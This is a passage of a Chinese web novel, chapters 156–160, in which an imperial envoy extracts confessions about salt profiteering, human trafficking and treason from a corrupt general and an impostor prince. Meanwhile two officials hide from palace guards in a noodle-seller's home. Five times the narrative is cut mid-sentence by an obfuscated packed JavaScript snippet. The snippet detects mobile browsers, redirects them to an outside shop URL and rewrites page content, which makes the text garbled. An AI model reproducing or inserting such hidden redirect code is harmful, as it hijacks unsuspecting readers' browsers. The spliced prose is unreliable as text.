说实在话,当这些人被控制住的瞬间,就已经注定了他们的下场。崔前辈的武艺实在太高强了,对付这几个简直绰绰有余,所以赵将军虽然嘴硬的很,但不过半柱香时间就已经缴械投降。 并且将自己做过的事情交代了个一干二净。当得知这个赵将军也参与到买卖人口一事时,九阙的火气都憋不住了。好!好啊,这一个个的都知法犯法,是吧?他们本来就是大景人,也做了大景的官儿,却不为大景的百姓着想。反而踩着无辜之人的血肉站在高处,还要回过头来嘲笑别人。得了便宜还卖乖! “赵篝,我问你,你到底知不知道你所售卖的食盐价格远超当今陛下所定的盐价?你难道不知廉价的重要?!就在盐城,这个盛产食盐的地方,竟然有百姓吃不起最低品质的盐,只能用醋布来骗嘴巴果腹。别告诉我你不知道!” 赵篝张张嘴巴,最后还是放弃了。 “既然你都已经知道了,还说这些做什么?我确实知道价格高了。可如果价格不高,我从哪儿赚钱?你以为这个将军是好当的?我不需要到处打点?可既然要打点,我又没钱,只能从这些地方搞钱。与其责怪我,不如睁开眼睛看看,整个官场又有哪里不需要打点?!全天下都是这样,凭什么只有我要被责备?你们这些京城的官儿占据天时地利,从小也是衣食无忧,哪里懂得像我们这种人爬到高处有多艰难。” 九阙冷笑出声,这样的话她已经听过一次了,之前的梁恒少年得意平步青云,却依旧不觉得满足。认为世家大族的存在阻碍了他前进的脚步,甚至因此不惜投靠朝中皇子,做尽了亏心事,可是当九阙问的时候,却并没有从他的态度里感到明确的悔意,或许他只是后悔自己没有做的更隐蔽一些。 又或许觉得自己太过倒霉,竟然被发现了。可这一切并不是别人的罪过,明明是他们自己守不住本心,却回过头来怨别人。 再者…… “可你所说的这一切和普通百姓有什么关系?难道他们就活该被高价盐逼的只能用醋布吗?还有那些盐场的盐工,之前明明是你们以高价利诱,承诺会给他们极高的工钱,可后来不仅工钱不见,还巧用手段将他们变为奴隶。我大景朝开国之初,当今陛下就已经昭告天下,废除奴隶制。这道旨意传了整整十遍,力保每个郡县都能熟知。难道你不知晓?” “你明知道陛下定下的盐价,也明知道奴隶已经被废除,却偏偏要做这违反律法之事。知法犯法,罪加一等!” 赵篝瑟瑟发抖。 这天底下每个犯罪的人或许都曾经在心里默默想过被抓那天是什么场景。但就算在脑海里演练了千遍万遍,等真正事发那一天,还是会控制不住害怕。 他此刻大脑飞速运转,拼命想要想起什么事能够延缓自己的死期。可他平日里作威作福惯了,根本没有做过这种耗费精力的事儿,一时间竟想不起来,直到眼角的余光撇过旁边儿床榻,眼睛顿时亮起来! “可这一切都不是我做的!我只是听命行事,整个盐城都是王爷的属地,我作为王爷的下属,自然只能听他的命令行事。最多算是个从犯。而且你所说的那些与北蛮交易,我并没有插手其中。说句实话,下官确实发现王爷的行为有异常,可我不敢反对,也不敢插手,毕竟他不仅是王爷,还是我的叔父。这种情况下我能怎么办?只能睁一只眼闭一只眼。” 好一招祸水东引,就连那奄奄一息的假王爷都忍不住多看了赵篝一眼。虽然他早就知道这是个没用的蠢货,但今天还是觉得长见识了。难道他以为在被抓了个现行的情况下,找别人顶罪就够了?真是愚蠢至极。 假王爷只是看了赵篝一眼就觉得伤脑子,干脆收回视线继续盯着昏迷中的‘滨阳王’。天道有常,谁做了事,不可能一点痕迹都不漏。更何况赵篝那个蠢货有能力把自己做过的事儿扫干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506376|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净吗? 他算是看明白了,这个从天而降的女人可不是好说话的。他大概是活不了了,不过倒想看看那些背后高高在上,轻而易举掌控他人人生性命的高贵人物会受到什么样的惩罚。那些人大概以为他就是个没有自我意识的棋子,可是,谁规定棋子就不能翻身而起,做执棋人呢?他可不像梁恒那个蠢货,心心念念背后的主子会去救他。自己要是死了,总得在死之前拽下来几个位高权重之人陪葬吧?要不然他这条贱命还真没人放在心上。 看着赵篝拙劣的表演,九阙都不忍心戳破他,但再不‘忍心’也没法子,十分遗憾的告诉对方。 “只凭你一张嘴,定不了滨阳王罪,除非你有确切的人证物证。” 赵篝一咬牙一跺脚,干脆说了实话。 “我就是证人,现在这个滨阳王是假货。真正的王爷早在三年前就被他控制,至今下落不明。我也是花了很长时间才确定,但我位卑职小,无法与假王爷抗衡。所以一直隐忍,但这些年陆陆续续我也收集了不少证据。若是钦差大人需要,即刻奉上,只求大人看在首告的份上,减轻我的罪责。” 原来这个赵篝也不是完全没用,至少私底下玩这种小把戏还是挺在行的。 九阙确实需要这些证据,于是点了点头。赵篝立马表示愿意现在就去 把证据带过来,结果却得到了这位钦差大人似笑非笑的一瞥。 “想跟我玩儿这招?谁知道你这一出去会不会大喊有刺客,然后把这间屋子围个结实,让我插翅难逃?” 赵篝当即心里就是狠狠一跳,十分谦卑的表示。 “我怎么敢呢?下官是真心实意想要把证据带过来。大人若是不信,尽可以派人跟在我身边,直到确保下官把证据带过来。” 对于他这点儿小心思,九阙根本不惜的搭理,十分干脆利落的拒绝,转头就准备联系淳于霜等人。 第一百五十六章 你们难道能做的更好? 来之前他们定了信号,在确保这里已经拿下的情况下,崔前辈轻轻点了点脚尖,轻而易举的来到房顶,而也不知道她是怎么做到的,一声低哑的虫鸣响起,还在王府里与侍卫们捉迷藏的魏渊等人顿时听到,明白崔前辈她们已经得手,迅速朝着声音传来的方向奔来。 与此同时,九阙清了清嗓子,发出一声低沉的吩咐,把‘滨阳王’吓了一跳,因为他的声音与滨阳王一模一样,可假王爷学了足足十年才学的跟真王爷一模一样。这个年轻的女钦差来到盐城不过一日,甚至根本没听过真王爷说话的声音,只是听了他讲话就能模仿的一模一样?还是这个女人,或者说这女人背后的皇帝早就有所准备? 其实这一招还是之前建村的时候跟着里面的老人学的。不得不说家有一老,如有一宝。虽说需要进村子的都是些孤寡老人,可他们会的本领许多人听都没听过,就像九阙自己。她也算是有天分的,但还是跟着那位老人学了整整十天才勉强学会。再加上外面那些侍卫对滨阳王十分顺从,因此也没细想,虽然很是不解,但还是静静按照王爷的吩咐办。 而百衣淳原本以为九阙已经将所有事情都准备好了,这才大大咧咧的跟着一起过来,没想到一踏进小院的门,就迎面看到足足几十个武艺高强的侍卫齐刷刷盯着自己看,顿时吓了一跳。 这不会是个阴谋吧? 但下一刻她就发现这些虎视眈眈的侍卫只是盯着他们看了好几眼,并没有上前做出攻击的举动。放下一半心的同时对九阙的本事更幸福了。这可真是个前途无量的大官儿!是的,就算九阙明面上的官职只有六品,但百衣淳就是坚定的认为她以后绝对能扶摇直上,做个天大的官儿。 要不然怎么他们在引着滨阳王府的侍卫跑了几圈儿之后,就可以正大光明的走进这个守卫森严的小院了。 “进来吧。” 百衣淳魏渊淡定自若的走进去,一眼就看到了屋子里诡异的局面,怪不得他们前脚进去,后脚门砰的一声就关上了,原来里边儿这些个都成了阶下囚啊。 嘶,这怎么还有北蛮人?那边儿人的长相和大景有着天壤之别,脸部轮廓更为深刻,而且眼珠子大多不是黑色。不过这会儿一个赛一个的老实,其中一个手上的骨头都被捏碎了,这会儿肿胀的跟个面袋子似的,看起来诡异的很。 “九阙,这是?” “崔前辈英明神武,以迅雷不及掩耳之势把这些个全给按下去,咱们之前的猜测是对的。真正的滨阳王被下毒控制,现在这个是冒名顶替。那些劳民伤财的政令都是假王爷下达。而且,他还朝北蛮贩卖私盐,明码标价售卖百姓,还有铁器。这几个北蛮人就是今年过来商讨货物总量的,那边手受伤的那个,好像是北蛮的左亲王。算是个分量不轻的俘虏。” “嘶——” 虽然早就有所猜测,但是亲耳听到这里边儿的官司之后,两人还是倒抽了一口凉气。坑害皇亲国戚,假冒王爷,贩卖盐铁,还是给敌对的北蛮,这数罪并罚,就算有一千个假王爷都不够砍! 魏渊一瞬间想起之前无忧洞里那些至今依旧找不到的女子,询问的看向九阙,得到点头示意之后,眼中的怒火几乎要喷薄而出。原来那些至今找不到的女子孩童竟是被自己国家的人卖给了敌对国!北蛮人向来残忍厮杀,之前屡次进攻边关,奸淫掳掠无恶不作!就算京城中的百姓很少见到货真价实的北蛮人,但同为大景百姓,每每听到边关同胞们的遭遇都心痛不已。恨不得亲身上阵将那些胆大妄为的北蛮人尽数砍杀。可现在,竟有人将自己的同胞卖给异国他乡,这种举动与卖国何异?更何况他们还贩卖盐铁给北蛮,不知道现在北蛮和大厅正在打仗吗? “你可知你卖过去的每一粒盐,每一块儿铁器,都会成为砍向我大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506377|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景将士的利刃!身为大景人,你怎可通敌卖国?” 魏渊虽生于宫廷,很少吃苦,但他也不是一出生就这么高大,有自保的能力。很小的时候,战乱四起。他的父母就是为了保护自己死于北蛮人手下!温热的血液从父母身上喷涌而出,洒满全身时那种黏腻潮湿的感觉,魏渊直到现在依旧牢牢记得。 虽说后来被义父收养,可这段经历依旧是他心中无法言说的痛。虽然无法亲自踏上战场砍下敌人的狗头,但魏渊一直在默默关注边关这场战争。他怎么也想不到竟会有人在这种关键时刻通敌卖国! 那个‘滨阳王’今天受了太多刺激,又被九阙打了好几下,半死不活的,不过在听到这句话时依旧忍不住反唇相讥。 “你怎么知道我是自愿通敌卖国?如果不是你们这些身居高位之人强行逼迫,甚至杀尽我的父母亲人,我怎么会做这些事?难道我不知道自己是大景人?不知道自己的所作所为会给国家带来巨大伤害?可我有选择吗?你觉得我有选择吗?像我这种小人物,挣扎着活下来已经很不容易。我有什么资格去反抗?别把这些罪名都安在我头上。有本事你们就去找真正的幕后黑手,杀了他啊!” 这一连串的话耗费了他太多精力,说完之后假王爷萎靡在地,粗喘不已。他看一眼依旧昏迷的假王爷,眼中含泪。 难道他不知道滨阳王是大 景的战神?可他有什么办法?甚至这些年来他有些怨恨躺在床上的这个男人,如果不是这张和他长得相似的脸,也不必遭受这么多的折磨痛苦,削肉剥骨,亲人尽丧,甚至还要做个假傀儡,背上通敌卖国的罪名。 哈,这些人只会站在道德的制高点上批判自己。若是换成他们,难道能做的更好? 真是无知者无畏。 魏渊本来就不善言辞,这会儿被他这一连串话说的一时语塞,面色铁青。 第一百五十七章 蠢货的生存之道 九阙见状皱了皱眉。 “别把这一切都怪在别人头上,如果不是你自己自制力差造成如今种种后果,哪还轮得到你来怪其他人?我知道你的意思,责怪别人总比责怪自己要简单的多,可是,到今天这种情形,你还是要怪其他人,未免太过自欺欺人。总而言之,这件事我会接手,谁是谁非自有真相来说明,不必这么骗人。” “我……” 对着九阙使了个眼色,让他先行离开,看着对方的身影消失,九阙才松了口气。这世上有种人,擅长将自己的过错归罪于别人,而且他们还异常灵敏,十分清楚别人的痛脚在哪里。放着他毫无遮拦的跟魏渊等人相处,九阙还担心对方在搞幺蛾子。 赵篝本来已经将脸面彻底抛下,以为这样能给自己换来一线生机。没想到他都这样丢脸了,可那个狠心的女人依旧视若无睹。这世上难道真有不在意别人是非的人吗?但凡有一点儿良心,都不会对他这悲惨的过去置若罔闻吧? 可惜呀,赵篝这纯粹是自我脑补太过严重,九阙在了解真相的现在,不直接给他两拳都算是自控力格外优秀,更别提帮他们了。这世上值得帮的人那么多,凭什么要放弃别人来帮这些犯罪的人? 在发现自己的苦苦哀求并没有得到相应的效果之后,赵篝眼珠子一转,想起了旁门歪道。既然这个女人如此心狠,无论怎么哀求都不肯搭救,他还何必跟着对方去京城?像他这样的人,哪怕回到京城,也不会有什么好下场。反而还要被世人唾弃,何苦来哉? 这个女情差错就错在敢在别人的地盘上这么嚣张,破船还有三斤钉。就算他是个没用的下属,可盐城也是他经营多年的地方。就算真正的滨阳王也不知道他手底下到底有多少后手,更何况是这个假货呢?这些年来他们彼此提防,从不肯吐露真正的后手。想来就是为了今天这一刻吧! 然而还没等赵篝付出行动,就听到那个油盐不进的女人漫不经心的开口。 “虽说很不想承认,但你之前有句话说的不错,首告者有功,会酌情削减罪行。像你这样的,给出的情报越多越详细,就越能得到嘉奖。如此功过相抵之下,说不定还真能留一条性命。不过就你目前所给的这些证据来看,还是太少了。倒是这个假王爷,我相信你知道的比赵将军还要多。若是能不计前嫌尽数说出,说不定陛下宽宏大量,还真能留你一条性命。” 假王爷冷笑一声,根本不相信九阙所言。他想说自己熟读大景律法,从没见过有这么一条。可他张了张嘴,竟发现自己说不出话来,惊恐的看着面前那个似有遗憾的女人,假王爷这才意识到自己原来成了个伐子。而更让人绝望的是,那个被钓过来的蠢货根本意识不到对方只是在说谎。 果不其然,下一刻,赵篝匆忙开口。 “不,钦差大人,我知道的肯定比他更详细!就比如我知道他和朝中哪位皇子有勾结,我手里有他们相互勾连的证据。毕竟盐城的食盐富甲天下,贩卖私盐所得的银钱并不在盐城,反而如流水般涌上京城某个皇子府邸。这难道不算他们与皇子相互勾结意图谋朝篡位的证据?” “哦?真有此事!本官只是怀疑他们与皇子相互勾结,但还不知,他们当真如此行事。嗯……” 赵篝渴望的看着,九阙,下一刻就从对方口中听到了肯定的答复。 “若你所言为真,这当然算是一条重大的线索。不过仅凭你一两句话还无法定罪,毕竟对方可是皇子。” 赵篝对此深表认同,毕竟那可是皇帝的亲儿子!若是没有实质性能将对方一把钉死的证据,他还真不敢站出来挑头承认。本来以前他也不敢,可现在自己的性命就要到此为止了,为了活命,还有谁供不出来的?果然,接下来,赵篝就如流水一般供出了这些这些年盐城与京城皇子府之间的流水往来。 “假王爷书房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516824|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有一尊白玉美人羊脂瓶,那种等级的羊脂玉,还有大师级的雕工,可不是盐城能供出来的。那是皇子为了奖励他的忠诚特意送过来的。我之前发现那座明显超过规格的美人瓶,感到好奇,还私底下查过,在那美人瓶底部有皇家官窑的印章。官窑出品,每一个都有相应编号。大人若是不行,可以联系皇家官窑一探究竟,看看那座羊脂玉美人瓶最开始是给谁的,不就一目了然了?” 紧接着赵篝还把那个瓶子的编号说出来,整的有板有眼的,让人不由得相信,九阙摸了摸下巴,若有所思。 “你说的也有道理。” 见自己活下来的希望就在前方,赵篝欣喜若狂,立马从记忆的角落里抓出来好几条假王爷和京城皇子勾结的证据,一点点说出来,只把假王爷的脸说的惨白如血。这几年相处下来,他一直都知道赵构是个蠢货,倒是没想到这个蠢货私底下竟有这么多小心思,可惜他这点儿小心思全用在自己人身上了,这个蠢货难道不知一荣俱荣一损俱损的道理? 罢了罢了,反正自己和他也没有真正的血缘关系,而且他肯定是恨毒了自己,要不然也不会私底下收藏这么多证据。但假王爷好奇的一点是,既然对方这么恨自己,可这些年来靠着自己的帮助在盐城过的顺风顺水,倒也没见他嫌弃。 果然这 世上,只有权力最蛊惑人心。 “……大人,这就是我知道的全部,您看这些线索都有用吗?” “嗯……当然有用,好了,赵将军暂且稍安勿躁,等着本官把这里发生的一切尽数禀告陛下,看陛下如何处理。届时会把将军的功劳说出,如何减刑就看将军这段时间的表现了。” “是是是!大人所言甚是,小人一定安分守己,不给他人增添麻烦。” 见赵篝点头哈腰的退下,九阙搓着下巴若有所思。魏渊兄怎么还不回来?她还等着谢明尘出马救滨阳王呢! 第一百五十八章 到底是谁倒霉? 事实上此刻淳于霜与谢明尘正在经历一场生死时速,他们两个明明好端端在滨阳王外面等着,因为知道自己武力值不高,所以十分安静。可谁曾想到,滨阳王府刚开始还是一副平静的模样,紧接着就像热水滚沸一般,扑嗒扑嗒的冒出许多人来。而且一个个凶神恶煞,目如鹰隼,恨不得将方圆十里内所有异样的东西都抓起来。 淳于霜甚至耳尖的听到为首之人的吩咐。 “就算是一只猫也不能让它给我跑了,全都给我抓回来!” 至于吗?她就想问问这至于吗?不过转念一想,里边儿的侍卫有这么大动静,说不定是九阙他们搞了件大事儿。一想到这里,淳于霜可就不瞌睡了。 或许是他们两个时运不济,正在乖巧假装良民之际,一只橘猫或许是被这动静惊扰,不知从哪个犄角旮旯飞速朝这边儿窜来。那些侍卫本来就神经紧绷,眼角的余光瞥见一个东西快速窜过去,顿时被吸引了注意力,接二连三的朝着这边儿赶来。 淳于霜和谢明尘彼此对视一眼,静悄悄的朝着深处走去。只是他们两个毕竟是文人,一点儿武力基础都没有,哪怕此刻加快了脚步,也比不过身后那些如狼似虎扑过来的侍卫。身后的脚步越来越急促,越来越近,二人额角都渗出了细微的汗珠。不是,他们明明已经安静挡在府外,为什么还是这么倒霉会被人发现?刚刚那只惹祸的小猫这会儿已经不知窜到哪儿去了。这可苦了他们两个无辜之人。而且淳于霜方才明明看到哪怕是不巧路过的百姓也被那些如狼似虎的侍卫给抓了去,更何况是他们两个生面孔? 但很不巧,目光所及之处竟然是堵墙,原来这条巷子是个死胡同。二人彼此对视一眼,都有些着急。之前那些武力担当都进王府吸引注意力去了,他们两个身边本来有几个武艺高强的护卫,但刚刚被他们打发去买药材了。那药材铺距离他们方才所在的位置不过几步之遥,谁曾想到这须臾之间竟然也会发生意外? “下回打死都不让他们离开身边半步,这人倒霉起来真是喝凉水都塞牙。谢小太医,到底是你倒霉还是我倒霉?” “我觉得咱们两个都挺倒霉的。” 谢明尘慢吞吞的说出这句话,眼睛不停逡巡,想要在这死胡同里找条生路。方才把侍卫打发去买药,他也同意了,毕竟那药铺距离他们实在是太近了,买个药需要多长时间?半柱香的时间都不用吧?可谁曾想到他们竟会这么倒霉,几乎就在那些侍卫前脚踏进药铺的瞬间,王府就稀里哗啦跑出来一大堆侍卫。 这他们还真怪不了别人。 身后的声音越来越近,就在那些侍卫即将出现在巷子口的瞬间,淳于霜脚腕突然一紧,神情紧绷的她下意识就要反抗,但一低头,顿时愣住了。右面墙脚下竟然有个隐蔽的狗洞,此刻从狗洞里钻出来一个小姑娘的脸,一脸紧张的给他们打手势。 时间紧迫,危机时刻两人根本顾不上钻狗洞是不是合乎体统,再加上他们两个根本不在意这种东西,这两个手无缚鸡之力的人在这一刻爆发了自己全部的行动力,刷刷两下就钻了进去,那个小姑娘在谢明尘钻进去的瞬间搬起旁边一块扁石头就挡住了洞口。 淳于霜紧张的听着外面的动静。紧随其后的侍卫大致看了一眼,巷子里连个鬼影都没有,也没在意,转身去前面的巷子里搜查去了。 确定外面再没有声音传来之后,两人齐刷刷松了口气,然后一低头就对上了一个略显眼熟的小姑娘那双亮晶晶的眼睛。等等,这小姑娘怎么看起来十分面熟啊? 淳于霜很快就想起对方的身份,这不是之前卖臊子面那家老板的女儿吗? 此刻小姑娘争着一双明亮的大眼睛好奇的盯着他们看,右手还轻轻抚摸着一只…… 半人高的大黑狗?! 淳于霜估计就是一个哆嗦,想她天不怕地不怕,敢在满是男人的官场里厮杀,敢跟自己父母顶嘴争吵甚至决裂,但天不怕地不怕的淳于霜唯独怕狗!因为她很小的时候被狗咬过,从那以后一朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516825|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被蛇咬,十年怕井绳,别说是这么大看起来这么凶猛的狗,就算是小奶狗她都害怕。这会儿面色发白,嘴唇微颤,瞳孔放大,几乎要厥过去。 还是身为大夫的谢明尘注意到淳于霜的异常,连忙掐住她的人中,狠狠掐了一下,才把即将晕过去的淳于霜唤醒。 而那个小姑娘也注意到这位大姐姐的异常,连忙让那条大黑狗离开。 “大黑,去!先去找娘。姐姐你别害怕,我家大黑看起来凶猛,但是其实很乖的,你看,它都没出声。” 俗话说会咬人的狗不叫。那只大黑狗从他们进来那一刻都一直就一直保持安静,只有那双凶猛的兽瞳一动不动的盯着这两个陌生人。这小姑娘还不如不解释,一解释淳于霜简直要当即躺到地上。 好在那条大黑狗盯着两人看了会儿,发现他们没什么威胁之后摇了摇尾巴,慢吞吞往前院儿去了。 等那条大黑狗走出足够的距离,淳于霜才猛然大喘一口气,算是活过来了。 “这,这条狗不错啊,忠心护主,是小姑娘你养的吗?” “姐姐,你不害怕了吗?大黑是我爹之前上山打猎的时候捡回来 的,听说好像是母狼生下来的。我也不知道它是什么品种,不过大黑从小一直都很乖,就是这个子,越长越大。这个狗洞就是给它留的。” 怪不得。淳于霜刚刚还在疑惑什么样的人家会留这么大个狗洞,原来是家有恶犬。当然也多亏了大黑,这个狗洞足够两个成年人钻进来了。 只是,这小姑娘就这么莫名莫名其妙的伸手相助了?难道就不怕他们两个是坏人吗? 淳于霜是这么想的,也这么问了,小姑娘很是欢快,跟之前在街上的样子不太一样,或许在家里比较轻松吧,一边带着他们往前院走,一边笑呵呵的解释。 “我记得你们,和之前那个买我们家面的大姐姐是一起来的。那个大姐姐付钱的时候多给了我们好多,所以你们一定都是好人!” 第一百五十九章 旧事重忆 这样判断对方是好是坏也太草率了吧,但是瞅瞅这孩子的年纪,淳于霜又觉得无话可说。还是个小孩子呢,不过刚刚也多亏了她,要不然他们两个手无缚鸡之力的家伙就要被抓住了。 不过他们不能在这孩子家里久待,若是那王府侍卫不满足于街上搜人,还想对民房搜查,发现他们两个在此处,那可真是有理也说不清了。他俩倒是不担心被抓,可要是连累这对母女,可就于心难安了。 “多谢小姑娘方才仗义出手,我们两个这就走了,免得连累你们。” “难道哥哥姐姐你们是坏人吗?” “当然不是。” “可如果你们不是坏人,为什么说会连累我们?爹在家的时候,经常说要我做个会在旁人危难之时出手相助的好人,我这么做难道不对吗?” “这个……” 淳于霜其实没什么和小孩子相处的经历,毕竟她家里是那个情况,几个哥哥家里的孩子与她也不太亲近,不过淳于霜也不喜欢那几个小白眼儿狼。 她还记得那几个小孩儿小的时候还是挺可爱的,大概是没经过大人的荼毒,所以淳于霜对那几个小白眼狼还算不错,直到有一天,其中一个侄子用一种天真又恶毒的语气说。 “姑姑,你不是很有钱吗?给我钱,我要去买糖葫芦。” “你不是刚刚才吃过吗?糖葫芦不能常吃,会吃坏牙齿,到时候你就咬不动肉了。” “你胡说,我怎么可能会吃坏牙齿?你果然和爹娘说的那样是个白眼狼!你现在不对我好点儿,等你老了以后我才不会给你养老摔盆儿!” “……我为什么需要你给我养老摔盆儿?” “当然是因为你嫁不出去!爹说你都已经快三十了,根本没有好男人会要你。你就是个嫁不出去的老姑婆,反正你死了以后钱都得留给我。没有我这个当侄子的给你养老摔盆儿,我看你老了以后谁管你!快点儿给我银子!” “……” 当时淳于霜的心情怎么说呢?一塌糊涂,她从未想过让侄子给自己养老。之所以对他们好也是发自真心,没想到对方却以为这是一桩交易。 她当即大发雷霆,才不管这个臭小子有多受家里人宠爱,直接拉过来就是一顿暴揍,打的那大侄子哭天抹泪的,把全家人都给招过来了。 淳于霜那时候还天真的认为爹娘会站在她这一边儿,毕竟自己是长辈。没想到她那个软弱了一辈子的娘却对她发火。 “你喊什么喊?这可是你亲侄子。你要是嫁不出去,以后他还要给你养老。你现在还不赶紧对他好点儿?!” “……所以这些话是你教他的。” “我,我有说错吗?你现在年纪越来越大,上门提亲的人越来越少,以你这脾气怎么可能嫁得了好人家?” “好了,你不用说了。” 当时她全家人就惊讶了,淳于霜怎么敢这么跟自己的母亲说话?丝毫不讲孝道,她就不怕别人攻讦吗? 也是从那个时候起,淳于霜认清了现实。她会为自己的母亲鸣不平,可悲哀的是,那个女人哪怕辛苦劳累了一辈子,也根本认不清为什么会变成现在这样,甚至她根本不觉得自己遭遇的一切是不对的。或许她还是多管闲事了,任由她自生自灭不就好了? 可是人啊,哪怕心里想的嘴上说的多狠,总会不由自主的改变主意。毕竟人这种东西,说绝情时是真绝情,可若论优柔寡断,总是不分场合。 “我这辈子不需要用成亲与否证明自己有没有用。我今儿就把话撂在这儿,哪怕我日后死了曝尸荒野!也不需要你们的宝贝儿子给我收敛尸骨!我生自赤裸来,也将赤裸去,我不觉得丢人。” “唯一让我感到丢人的是有你们这样的家人,自己无能也见不得别人出色,鼠目寸光,只知道坐井观天。像你们这样的人能教导出来多出色的儿子,我都要睁大眼睛看着,十年后,你们这几个宝贝儿孙到底能不能出人头地!” 也是从那时候起,淳于霜和家里人的关系越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529757|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来越紧绷,直到这次出京之前彻底决裂。 从回忆中抽出神来看看面前乖巧可爱又懂事的小女孩儿,淳于霜就忍不住想叹息。世人的眼光为何如此浅薄?明明男女相同,各司其职,偏偏要有人对性别分个你高我低。就她那几个大小侄子,绑在一块儿也比不上面前这小姑娘精巧灵透。 俯下身子与这小姑娘平行对视,淳于霜语重心长的开口。 “那倒不是。小姑娘你说的很对,人生在世总要心怀善意,但这份善意也要带些锋芒,不然你也不知道自己遇到的到底是人是鬼。” 小姑娘立马开心起来。 “我就知道爹说的准没错……” 就在此刻,一个略显焦急的温柔女声传来。 “若华,怎么回事?大黑刚刚默不作声跑到跟前,不叫也不走,就知道摇尾巴,是不是你调皮……你们是?” 伴随着这道温柔的女声,一个眼熟的人影急匆匆走来,在她身后跟着一条慢条斯理踏步的大黑狗。 面摊老板的记忆力显然不错,看到淳于霜二人的瞬间,就想起他们曾经在自己的面摊上出现过。但这会儿这两个人出现的时 机不太妥当,尤其是结合着外面沸反盈天的搜查声,老板福灵心至。 “刚才外面经过的王府侍卫是来找你们的?” 淳于霜谢明尘二人对视一眼,觉得麻烦了。在这位老板高声喧闹前连忙表明自己没有恶意。 “这位老板请放心,我们绝对没有恶意,只是方才被那不知所谓的王府侍卫追赶,慌不择路之下才进了你家后院,你放心,我们这就离开,绝对不会连累你们。” 这位老板常年揉面,两条臂膀结实有力,说句实在话,打他们这两个手无缚鸡之力的文官还是绰绰有余。当然,若是他们拼死搏斗,倒也不是没有反抗的机会,但对方身后那条半人高的大黑狗虎视眈眈…… 看那锋利的牙齿,鼓动的肌肉,尖利的爪子…… 还是别冒险了。 第一百六十章 总得收个尸吧 两人转身就准备走,没想到那位老板却轻声叫住了他们。 “二位不必如此,我相信你们的为人。之前在面摊上的时候,我听到与二位同行的那位小姐说话,知道你们都是好人。那位小姐还多给了我许多银子,我正心中有愧,二位如果不嫌弃,就先在寒舍休息片刻,等那些人离开之后再做打算。” 淳于霜两个离开的脚步顿时停住,不可置信的对视一眼,若有所思。 说起来九阙付银子的时候他们两个也没注意,而且看九阙理所当然的表情,也没察觉出异常,显然对此很是习惯。但就是这份善意,今天已经救他们两次了。难道他们以后出门也该多给别人点儿银子? 嘶,她(他)的存银好像不够啊。 咳咳,扯远了,扯远了。 得到主人的允许,二人跟着这对母女来到屋中,不仅喝上了热茶,还吃上了香脆可口的小点心。不得不说这家主人不愧是卖饭食的,连做的家常点心都这么好吃。谢明尘先拿起一个尝了,然后对淳于霜点头。 连太医都觉得没问题,淳于霜借着吃点心的功夫熟练的跟对方拉家常,毕竟她之前做刑部司务的时候,做的最多的就是审问嫌犯这种杂事儿。而且刑部那些男人总是借着不好与女人有所牵扯,把那些不好惹的女嫌犯丢给自己。像这种在闲聊里降低对方警戒心,得到自己想要消息的本领早就磨练出来了。 不过几句话的功夫,淳于霜就意识到这家的男主人大概率出事了。 “是吗?大哥已经三年没回来了?呃,嫂子您放心,他指定不会外边儿有人,毕竟你看若华是个多乖巧懂事的小姑娘啊,您也是勤劳能干,换了谁都不会不管家里妻女的。说不定是被什么事儿绊住脚了呢?” 